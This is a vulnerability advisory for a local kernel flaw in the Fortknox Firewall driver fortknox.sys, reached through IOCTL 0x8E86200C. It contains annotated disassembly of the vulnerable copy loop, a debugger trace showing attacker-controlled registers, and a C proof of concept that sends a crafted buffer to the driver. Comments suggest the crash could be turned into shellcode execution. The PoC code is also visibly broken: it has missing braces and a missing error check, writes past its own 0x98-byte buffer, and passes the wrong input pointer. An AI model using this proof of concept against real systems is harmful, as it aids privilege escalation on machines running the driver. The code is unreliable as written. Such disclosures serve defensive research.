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Fortknox Firewall - IOCTL Handling Vulnerability

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19 Sep 2018


Fortknox Firewall prone to vulnerable with IOCTL handling vulnerability. It is found that the vulnerability could lead to code execution. The affected module found was the fortknox.sys with vulnerable IOCTL 0x8E86200C.

Vulnerability Analysis

Inspecting the vulnerable IOCTL code:

  .text:0001600D                 cmp     eax, 8E86200Ch ; vulnerable IOCTL 
  .text:00016012                 jz      short loc_1604D

Check input size buffer 0x98 send thru vulnerable IOCTL. It then continue for another check on sub_150E4.

  .text:0001604D                 cmp     ecx, 98h           ; input check here
  .text:00016053                 jnz     loc_16276
  .text:00016059                 mov     eax, [ebp+arg_4]   ; our input 
  .text:0001605C                 cmp     eax, ebx
  .text:0001605E                 jz      loc_16276          ; check for the input from IOCTL sent
  .text:00016064                 push    eax
  .text:00016065                 push    dword ptr [eax]
  .text:00016067                 call    sub_150E4

Vulnerable path where it failed to handle the IOCTL input 0x98:

  .text:0001518D                 push    31565244h       ; Tag
  .text:00015192                 push    98h             ; NumberOfBytes
  .text:00015197                 push    edi             ; PoolType
  .text:00015198                 call    ds:ExAllocatePoolWithTag
  .text:0001519E                 mov     ebx, eax
  .text:000151A0                 cmp     ebx, edi
  .text:000151A2                 jz      short loc_1512F
  .text:000151A4                 mov     eax, [ebp+arg_4]
  .text:000151A7                 push    26h
  .text:000151A9                 mov     esi, eax
  .text:000151AB                 pop     ecx
  .text:000151AC                 mov     edi, ebx
  .text:000151AE                 rep movsd                  ; memcpy() function here
  .text:000151B0                 mov     eax, [eax+90h]
  .text:000151B6                 test    eax, eax
  .text:000151B8                 jz      short loc_151F6
  .text:000151BA                 lea     esi, [eax+1]       ; here we can see the buffer bytes is 0x98
  .text:000151BD                 mov     cl, [eax]          ; crashed at this part and overwrite data on EAX
  .text:000151BF                 inc     eax                ; attacker can leverage this part where increase the bytes and overwrite 
                                                            ; data here for shellcode, etc.
  .text:000151C0                 test    cl, cl
  .text:000151C2                 jnz     short loc_151BD

Successful triggering the crash with capable control and overwrite ESI and EAX:

  kd> .trap 0xffffffffa13d4950
  ErrCode = 00000000
  eax=41414141 ebx=a0de6aa0 ecx=00000000 edx=0000169e esi=41414142 edi=a0de6b38
  eip=8cafd1bd esp=a13d49c4 ebp=a13d49d4 iopl=0         nv up ei pl nz na pe nc
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
  8cafd1bd 8a08            mov     cl,byte ptr [eax]          ds:0023:41414141=??


To compile, use Visual Studio command prompt: cl.exe /nologo code.c

#include <stdio.h>
#include <windows.h>

void main()
  ULONG   InBuf = 0;
   DWORD   dwRetbytes = 0;
  BYTE  buff[0x98];
  HANDLE hdev = CreateFileA("\\\\.\\fortknoxfw_ctl", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL);
        printf("CreateFile Failed: %d/n",GetLastError());
  memset(buff, 'A', 0x98);
  memset(buff + 100, 'B', 4);
  memset(buff + 200, 'C', 4);

  DeviceIoControl(hdev, 0x8e86200c, &InBuf, 0x98, buff, 0x98, &dwRetbytes, NULL);

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